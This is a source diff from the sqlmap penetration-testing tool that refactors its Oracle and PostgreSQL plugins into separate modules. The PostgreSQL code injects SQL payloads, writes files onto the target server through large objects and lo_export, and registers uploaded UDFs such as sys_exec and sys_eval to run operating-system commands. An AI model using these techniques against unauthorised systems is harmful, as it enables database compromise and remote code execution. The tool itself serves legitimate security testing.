You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.data import logger
from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def __init__(self):
GenericEnumeration.__init__(self, "Oracle")
def getDbs(self):
warnMsg = "on Oracle it is not possible to enumerate databases"
logger.warn(warnMsg)
return []

41
plugins/dbms/oracle/filesystem.py Normal file
View File

@ -0,0 +1,41 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.exception import sqlmapUnsupportedFeatureException
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def __init__(self):
GenericFilesystem.__init__(self)
def readFile(self, rFile):
errMsg = "File system read access not yet implemented for "
errMsg += "Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
errMsg = "File system write access not yet implemented for "
errMsg += "Oracle"
raise sqlmapUnsupportedFeatureException, errMsg

115
plugins/dbms/oracle.py → plugins/dbms/oracle/fingerprint.py
View File

@ -31,89 +31,16 @@ from lib.core.common import getHtmlErrorFp
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import ORACLE_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover
class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Oracle methods
"""
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
class Fingerprint(GenericFingerprint):
def __init__(self):
self.excludeDbsList = ORACLE_SYSTEM_DBS
Enumeration.__init__(self, "Oracle")
Filesystem.__init__(self)
Takeover.__init__(self)
unescaper.setUnescape(OracleMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = "("
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "CHR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "||"
#unescaped += ")"
expression = expression.replace(old, unescaped)
else:
expression = "||".join("CHR(%d)" % ord(c) for c in expression)
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find("))")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
oldUpper = oldUpper.split("||")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression
GenericFingerprint.__init__(self)
def getFingerprint(self):
value = ""
@ -218,39 +145,3 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
if conf.tbl:
conf.tbl = conf.tbl.upper()
def getDbs(self):
warnMsg = "on Oracle it is not possible to enumerate databases"
logger.warn(warnMsg)
return []
def readFile(self, rFile):
errMsg = "File system read access not yet implemented for "
errMsg += "Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
errMsg = "File system write access not yet implemented for "
errMsg += "Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osCmd(self):
errMsg = "Operating system command execution functionality not "
errMsg += "yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osShell(self):
errMsg = "Operating system shell functionality not yet "
errMsg += "implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osPwn(self):
errMsg = "Operating system out-of-band control functionality "
errMsg += "not yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osSmb(self):
errMsg = "One click operating system out-of-band control "
errMsg += "functionality not yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg

85
plugins/dbms/oracle/syntax.py Normal file
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@ -0,0 +1,85 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.exception import sqlmapSyntaxException
from plugins.generic.syntax import Syntax as GenericSyntax
class Syntax(GenericSyntax):
def __init__(self):
GenericSyntax.__init__(self)
@staticmethod
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = "("
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "CHR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "||"
#unescaped += ")"
expression = expression.replace(old, unescaped)
else:
expression = "||".join("CHR(%d)" % ord(c) for c in expression)
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find("))")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
oldUpper = oldUpper.split("||")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression

51
plugins/dbms/oracle/takeover.py Normal file
View File

@ -0,0 +1,51 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.exception import sqlmapUnsupportedFeatureException
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def __init__(self):
GenericTakeover.__init__(self)
def osCmd(self):
errMsg = "Operating system command execution functionality not "
errMsg += "yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osShell(self):
errMsg = "Operating system shell functionality not yet "
errMsg += "implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osPwn(self):
errMsg = "Operating system out-of-band control functionality "
errMsg += "not yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osSmb(self):
errMsg = "One click operating system out-of-band control "
errMsg += "functionality not yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg

439
plugins/dbms/postgresql.py
View File

@ -1,439 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import getRange
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import PGSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover
class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines PostgreSQL methods
"""
def __init__(self):
self.excludeDbsList = PGSQL_SYSTEM_DBS
self.sysUdfs = {
# UDF name: UDF parameters' input data-type and return data-type
"sys_exec": { "input": [ "text" ], "return": "int4" },
"sys_eval": { "input": [ "text" ], "return": "text" },
"sys_bineval": { "input": [ "text" ], "return": "int4" },
"sys_fileread": { "input": [ "text" ], "return": "text" }
}
Enumeration.__init__(self, "PostgreSQL")
Filesystem.__init__(self)
Takeover.__init__(self)
unescaper.setUnescape(PostgreSQLMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = "("
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "CHR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "||"
#unescaped += ")"
expression = expression.replace(old, unescaped)
else:
expression = "||".join("CHR(%d)" % ord(c) for c in expression)
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find("))")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
oldUpper = oldUpper.split("||")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += "PostgreSQL"
return value
actVer = formatDBMSfp()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
"""
References for fingerprint:
* http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
"""
if conf.dbms in PGSQL_ALIASES:
setDbms("PostgreSQL")
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = "testing PostgreSQL"
logger.info(infoMsg)
randInt = str(randomInt(1))
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if result:
infoMsg = "confirming PostgreSQL"
logger.info(infoMsg)
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if not result:
warnMsg = "the back-end DMBS is not PostgreSQL"
logger.warn(warnMsg)
return False
setDbms("PostgreSQL")
self.getBanner()
if not conf.extensiveFp:
return True
if inject.getValue("DIV(6, 3)", unpack=False, charsetType=2) == "2":
kb.dbmsVersion = [">= 8.4.0"]
elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ) and not inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ):
kb.dbmsVersion = [">= 8.3.0", "< 8.4"]
elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2):
kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"]
elif inject.getValue("GREATEST(5, 9, 1)", unpack=False, charsetType=2) == "9":
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False, charsetType=2) == "3":
kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False):
kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False) == "p":
kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
elif inject.getValue("BIT_LENGTH(1)") == "8":
kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False) == "a":
kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
elif inject.getValue("POW(2, 3)", unpack=False, charsetType=2) == "8":
kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
elif inject.getValue("MAX('a')") == "a":
kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)", unpack=False)):
kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)", unpack=False, charsetType=2) == "2":
kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
elif inject.getValue("SUBSTRING('sqlmap', 1, 1)", unpack=False) == "s":
kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
else:
kb.dbmsVersion = ["< 6.2.0"]
return True
else:
warnMsg = "the back-end DMBS is not PostgreSQL"
logger.warn(warnMsg)
return False
def checkDbmsOs(self, detailed=False):
if kb.os:
return
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
# Windows executables should always have ' Visual C++' or ' mingw'
# patterns within the banner
osWindows = ( " Visual C++", "mingw" )
for osPattern in osWindows:
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%" + osPattern + "%')>0"
query = agent.forgeCaseStatement(query)
if inject.getValue(query, charsetType=1) == "1":
kb.os = "Windows"
break
if kb.os is None:
kb.os = "Linux"
infoMsg = "the back-end DBMS operating system is %s" % kb.os
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)
def forceDbmsEnum(self):
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
conf.db = "public"
warnMsg = "on PostgreSQL it is only possible to enumerate "
warnMsg += "on the current schema and on system databases, "
warnMsg += "sqlmap is going to use 'public' schema as "
warnMsg += "database name"
logger.warn(warnMsg)
def unionReadFile(self, rFile):
errMsg = "PostgreSQL does not support file reading with UNION "
errMsg += "query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
self.initEnv()
return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread")
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "PostgreSQL does not support file upload with UNION "
errMsg += "query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
wFileSize = os.path.getsize(wFile)
if wFileSize > 8192:
errMsg = "on PostgreSQL it is not possible to write files "
errMsg += "bigger than 8192 bytes at the moment"
raise sqlmapUnsupportedFeatureException, errMsg
self.oid = randomInt()
debugMsg = "creating a support table to write the base64 "
debugMsg += "encoded file to"
logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "text")
logger.debug("encoding file to its base64 string value")
fcEncodedList = self.fileEncode(wFile, "base64", False)
debugMsg = "forging SQL statements to write the base64 "
debugMsg += "encoded file to the support table"
logger.debug(debugMsg)
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the base64 encoded file to the support table")
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
debugMsg = "create a new OID for a large object, it implicitly "
debugMsg += "adds an entry in the large objects system table"
logger.debug(debugMsg)
# References:
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
inject.goStacked("SELECT lo_create(%d)" % self.oid)
debugMsg = "updating the system large objects table assigning to "
debugMsg += "the just created OID the binary (base64 decoded) UDF "
debugMsg += "as data"
logger.debug(debugMsg)
# Refereces:
# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
#
# NOTE: From PostgreSQL site:
#
# "The data stored in the large object will never be more than
# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
# typically 2 Kb"
#
# As a matter of facts it was possible to store correctly a file
# large 13776 bytes, the problem arises at next step (lo_export())
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
debugMsg = "exporting the OID %s file content to " % fileType
debugMsg += "file '%s'" % dFile
logger.debug(debugMsg)
# NOTE: lo_export() exports up to only 8192 bytes of the file
# (pg_largeobject 'data' field)
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
def udfSetRemotePath(self):
# On Windows
if kb.os == "Windows":
# The DLL can be in any folder where postgres user has
# read/write/execute access is valid
# NOTE: by not specifing any path, it will save into the
# data directory, on PostgreSQL 8.3 it is
# C:\Program Files\PostgreSQL\8.3\data.
self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
# On Linux
else:
# The SO can be in any folder where postgres user has
# read/write/execute access is valid
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfSetLocalPaths(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if banVer >= "8.4":
majorVer = "8.4"
elif banVer >= "8.3":
majorVer = "8.3"
elif banVer >= "8.2":
majorVer = "8.2"
else:
errMsg = "unsupported feature on versions of PostgreSQL before 8.2"
raise sqlmapUnsupportedFeatureException, errMsg
if kb.os == "Windows":
self.udfLocalFile += "/postgresql/windows/32/%s/lib_postgresqludf_sys.dll" % majorVer
self.udfSharedLibExt = "dll"
else:
self.udfLocalFile += "/postgresql/linux/32/%s/lib_postgresqludf_sys.so" % majorVer
self.udfSharedLibExt = "so"
def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
inp = ", ".join(i for i in inpRet["input"])
ret = inpRet["return"]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def uncPathRequest(self):
self.createSupportTbl(self.fileTblName, self.tblField, "text")
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
self.cleanup(onlyFileTbl=True)

57
plugins/dbms/postgresql/__init__.py Normal file
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@ -0,0 +1,57 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.settings import PGSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from plugins.dbms.postgresql.enumeration import Enumeration
from plugins.dbms.postgresql.filesystem import Filesystem
from plugins.dbms.postgresql.fingerprint import Fingerprint
from plugins.dbms.postgresql.syntax import Syntax
from plugins.dbms.postgresql.takeover import Takeover
from plugins.generic.misc import Miscellaneous
class PostgreSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines PostgreSQL methods
"""
def __init__(self):
self.excludeDbsList = PGSQL_SYSTEM_DBS
self.sysUdfs = {
# UDF name: UDF parameters' input data-type and return data-type
"sys_exec": { "input": [ "text" ], "return": "int4" },
"sys_eval": { "input": [ "text" ], "return": "text" },
"sys_bineval": { "input": [ "text" ], "return": "int4" },
"sys_fileread": { "input": [ "text" ], "return": "text" }
}
Syntax.__init__(self)
Fingerprint.__init__(self)
Enumeration.__init__(self)
Filesystem.__init__(self)
Miscellaneous.__init__(self)
Takeover.__init__(self)
unescaper.setUnescape(PostgreSQLMap.unescape)

29
plugins/dbms/postgresql/enumeration.py Normal file
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@ -0,0 +1,29 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def __init__(self):
GenericEnumeration.__init__(self, "PostgreSQL")

128
plugins/dbms/postgresql/filesystem.py Normal file
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@ -0,0 +1,128 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
from lib.core.common import randomInt
from lib.core.data import logger
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def __init__(self):
self.oid = None
GenericFilesystem.__init__(self)
def unionReadFile(self, rFile):
errMsg = "PostgreSQL does not support file reading with UNION "
errMsg += "query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
self.initEnv()
return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread")
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "PostgreSQL does not support file upload with UNION "
errMsg += "query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
wFileSize = os.path.getsize(wFile)
if wFileSize > 8192:
errMsg = "on PostgreSQL it is not possible to write files "
errMsg += "bigger than 8192 bytes at the moment"
raise sqlmapUnsupportedFeatureException, errMsg
self.oid = randomInt()
debugMsg = "creating a support table to write the base64 "
debugMsg += "encoded file to"
logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "text")
logger.debug("encoding file to its base64 string value")
fcEncodedList = self.fileEncode(wFile, "base64", False)
debugMsg = "forging SQL statements to write the base64 "
debugMsg += "encoded file to the support table"
logger.debug(debugMsg)
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the base64 encoded file to the support table")
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
debugMsg = "create a new OID for a large object, it implicitly "
debugMsg += "adds an entry in the large objects system table"
logger.debug(debugMsg)
# References:
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
inject.goStacked("SELECT lo_create(%d)" % self.oid)
debugMsg = "updating the system large objects table assigning to "
debugMsg += "the just created OID the binary (base64 decoded) UDF "
debugMsg += "as data"
logger.debug(debugMsg)
# Refereces:
# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
#
# NOTE: From PostgreSQL site:
#
# "The data stored in the large object will never be more than
# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
# typically 2 Kb"
#
# As a matter of facts it was possible to store correctly a file
# large 13776 bytes, the problem arises at next step (lo_export())
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
debugMsg = "exporting the OID %s file content to " % fileType
debugMsg += "file '%s'" % dFile
logger.debug(debugMsg)
# NOTE: lo_export() exports up to only 8192 bytes of the file
# (pg_largeobject 'data' field)
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)

203
plugins/dbms/postgresql/fingerprint.py Normal file
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@ -0,0 +1,203 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
